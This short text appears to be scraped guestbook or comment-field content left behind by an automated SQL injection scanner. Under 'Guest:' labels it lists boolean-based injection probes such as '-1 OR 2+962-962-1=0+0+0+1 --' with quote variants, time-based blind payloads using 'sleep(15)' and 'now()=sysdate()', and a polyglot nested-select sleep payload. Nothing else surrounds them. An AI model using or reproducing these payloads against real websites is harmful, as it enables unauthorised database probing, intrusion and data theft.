Guest:
-1 OR 2+962-962-1=0+0+0+1 -- 


-1 OR 2+877-877-1=0+0+0+1 --

-1 OR 2+558-558-1=0+0+0+1

-1' OR 2+941-941-1=0+0+0+1 --

-1' OR 2+394-394-1=0+0+0+1 or 'Q8g4RXR3'='

-1" OR 2+764-764-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
-1 OR 2+962-962-1=0+0+0+1 -- 
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
-1 OR 2+962-962-1=0+0+0+1 -- 
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/